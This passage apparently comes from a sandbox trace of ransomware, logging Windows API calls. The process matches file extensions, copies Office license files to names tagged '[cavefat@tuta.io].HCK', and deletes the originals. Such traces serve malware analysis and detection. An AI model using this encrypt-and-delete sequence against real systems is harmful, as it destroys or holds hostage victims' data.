(lpString1=".dbf", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.591] lstrlenW (lpString=".1cd") returned 4 [0243.591] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.591] lstrlenW (lpString=".jpg") returned 4 [0243.591] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.591] lstrlenW (lpString=".doc") returned 4 [0243.591] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".docx") returned 5 [0243.591] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.591] lstrlenW (lpString=".pdf") returned 4 [0243.591] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".xls") returned 4 [0243.591] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".xlsx") returned 5 [0243.591] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.591] lstrlenW (lpString=".ppt") returned 4 [0243.591] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.591] lstrlenW (lpString=".zip") returned 4 [0243.591] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".rar") returned 4 [0243.591] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".bz2") returned 4 [0243.591] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.591] lstrlenW (lpString=".7z") returned 3 [0243.592] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.592] lstrlenW (lpString=".dbf") returned 4 [0243.592] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.592] lstrlenW (lpString=".1cd") returned 4 [0243.592] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ppd.xrm-ms") returned 88 [0243.592] lstrlenW (lpString=".jpg") returned 4 [0243.592] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.592] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.592] lstrlenW (lpString="O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 41 [0243.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.593] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11651) returned 1 [0243.593] CloseHandle (hObject=0x558) returned 1 [0243.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 0x220 [0243.593] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.593] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.593] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.594] GetLastError () returned 0x0 [0243.594] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0243.595] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0243.596] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.596] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x126, lpOverlapped=0x0) returned 1 [0243.596] SetEndOfFile (hFile=0x340) returned 1 [0243.597] CloseHandle (hObject=0x340) returned 1 [0243.597] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.597] SetEndOfFile (hFile=0x558) returned 1 [0243.598] CloseHandle (hObject=0x558) returned 1 [0243.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.600] lstrlenW (lpString=".doc") returned 4 [0243.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString=".docx") returned 5 [0243.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.600] lstrlenW (lpString=".pdf") returned 4 [0243.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString=".xls") returned 4 [0243.600] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString=".xlsx") returned 5 [0243.600] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.600] lstrlenW (lpString=".ppt") returned 4 [0243.600] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.600] lstrlenW (lpString=".zip") returned 4 [0243.600] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString=".rar") returned 4 [0243.600] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString=".bz2") returned 4 [0243.600] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString=".7z") returned 3 [0243.600] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.600] lstrlenW (lpString=".dbf") returned 4 [0243.600] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.600] lstrlenW (lpString=".1cd") returned 4 [0243.600] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.600] lstrlenW (lpString=".jpg") returned 4 [0243.600] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.600] lstrlenW (lpString=".doc") returned 4 [0243.600] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString=".docx") returned 5 [0243.600] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0243.600] lstrlenW (lpString=".pdf") returned 4 [0243.600] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0243.600] lstrlenW (lpString=".xls") returned 4 [0243.601] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0243.601] lstrlenW (lpString=".xlsx") returned 5 [0243.601] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0243.601] lstrlenW (lpString=".ppt") returned 4 [0243.601] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0243.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.601] lstrlenW (lpString=".zip") returned 4 [0243.601] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0243.601] lstrlenW (lpString=".rar") returned 4 [0243.601] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0243.601] lstrlenW (lpString=".bz2") returned 4 [0243.601] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0243.601] lstrlenW (lpString=".7z") returned 3 [0243.601] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0243.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.601] lstrlenW (lpString=".dbf") returned 4 [0243.601] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0243.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.601] lstrlenW (lpString=".1cd") returned 4 [0243.601] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0243.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0243.601] lstrlenW (lpString=".jpg") returned 4 [0243.601] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0243.601] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0243.601] lstrlenW (lpString="O365HomePremR_Subscription2-pl.xrm-ms") returned 37 [0243.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.602] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11199) returned 1 [0243.602] CloseHandle (hObject=0x558) returned 1 [0243.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 0x220 [0243.602] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0243.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0243.602] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.602] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0243.603] GetLastError () returned 0x0 [0243.603] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2bbf, lpOverlapped=0x0) returned 1 [0243.686] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0243.849] ReadFile (in: hFile=0x558, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0243.850] WriteFile (in: hFile=0x340, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x11e, lpOverlapped=0x0) returned 1 [0243.850] SetEndOfFile (hFile=0x340) returned 1 [0243.850] CloseHandle (hObject=0x340) returned 1 [0243.850] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0243.850] SetEndOfFile (hFile=0x558) returned 1 [0243.852] CloseHandle (hObject=0x558) returned 1 [0243.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0243.902] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription2-pl.xrm-ms")) returned 1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.373] lstrlenW (lpString=".doc") returned 4 [0244.373] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString=".docx") returned 5 [0244.373] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.373] lstrlenW (lpString=".pdf") returned 4 [0244.373] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString=".xls") returned 4 [0244.373] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString=".xlsx") returned 5 [0244.373] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.373] lstrlenW (lpString=".ppt") returned 4 [0244.373] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.373] lstrlenW (lpString=".zip") returned 4 [0244.373] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString=".rar") returned 4 [0244.373] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString=".bz2") returned 4 [0244.373] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString=".7z") returned 3 [0244.373] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.373] lstrlenW (lpString=".dbf") returned 4 [0244.373] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.373] lstrlenW (lpString=".1cd") returned 4 [0244.373] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.373] lstrlenW (lpString=".jpg") returned 4 [0244.373] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.374] lstrlenW (lpString=".doc") returned 4 [0244.374] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString=".docx") returned 5 [0244.374] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.374] lstrlenW (lpString=".pdf") returned 4 [0244.374] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString=".xls") returned 4 [0244.374] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString=".xlsx") returned 5 [0244.374] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.374] lstrlenW (lpString=".ppt") returned 4 [0244.374] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.374] lstrlenW (lpString=".zip") returned 4 [0244.374] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString=".rar") returned 4 [0244.374] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString=".bz2") returned 4 [0244.374] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString=".7z") returned 3 [0244.374] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0244.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.374] lstrlenW (lpString=".dbf") returned 4 [0244.374] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.374] lstrlenW (lpString=".1cd") returned 4 [0244.374] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0244.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription2-pl.xrm-ms") returned 87 [0244.374] lstrlenW (lpString=".jpg") returned 4 [0244.374] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0244.374] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0244.374] lstrlenW (lpString="O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 41 [0244.374] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.678] GetFileSizeEx (in: hFile=0x56c, lpFileSize=0x2d1ff14 | out: lpFileSize=0x2d1ff14*=11651) returned 1 [0244.678] CloseHandle (hObject=0x56c) returned 1 [0244.678] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 0x220 [0244.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0244.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0244.698] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.698] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d4 [0244.701] GetLastError () returned 0x0 [0244.701] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0244.702] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0244.703] ReadFile (in: hFile=0x56c, lpBuffer=0x39c3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fecc, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesRead=0x2d1fecc*=0x0, lpOverlapped=0x0) returned 1 [0244.703] WriteFile (in: hFile=0x4d4, lpBuffer=0x39c3020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2d1fc94, lpOverlapped=0x0 | out: lpBuffer=0x39c3020*, lpNumberOfBytesWritten=0x2d1fc94*=0x126, lpOverlapped=0x0) returned 1 [0244.703] SetEndOfFile (hFile=0x4d4) returned 1 [0244.703] CloseHandle (hObject=0x4d4) returned 1 [0244.703] SetFilePointerEx (in: hFile=0x56c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec0 | out: lpNewFilePointer=0x0) returned 1 [0244.703] SetEndOfFile (hFile=0x56c) returned 1 [0244.705] CloseHandle (hObject=0x56c) returned 1 [0244.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0244.709] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription4-ul-oob.xrm-ms")) returned 1 [0244.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription4-ul-oob.xrm-ms") returned 91 [0244.710] lstrlenW (lpString=".doc") returned 4 [0244.710] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0244.710] lstrlenW (lpString=".docx") returned 5 [0244.710] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0244.710] lstrlenW (lpString=".pdf") returned 4 [0244.710] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0244.710] lstrlenW (lpString=".xls") returned 4 [0244.710] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0244.710] lstrlenW (lpString=".xlsx") returned 5 [0244.710] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0244.710] lstrlenW (lpString=".ppt") returned 4 [0244.710] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0244.710] lstrlenW (lpString="C:\\Program 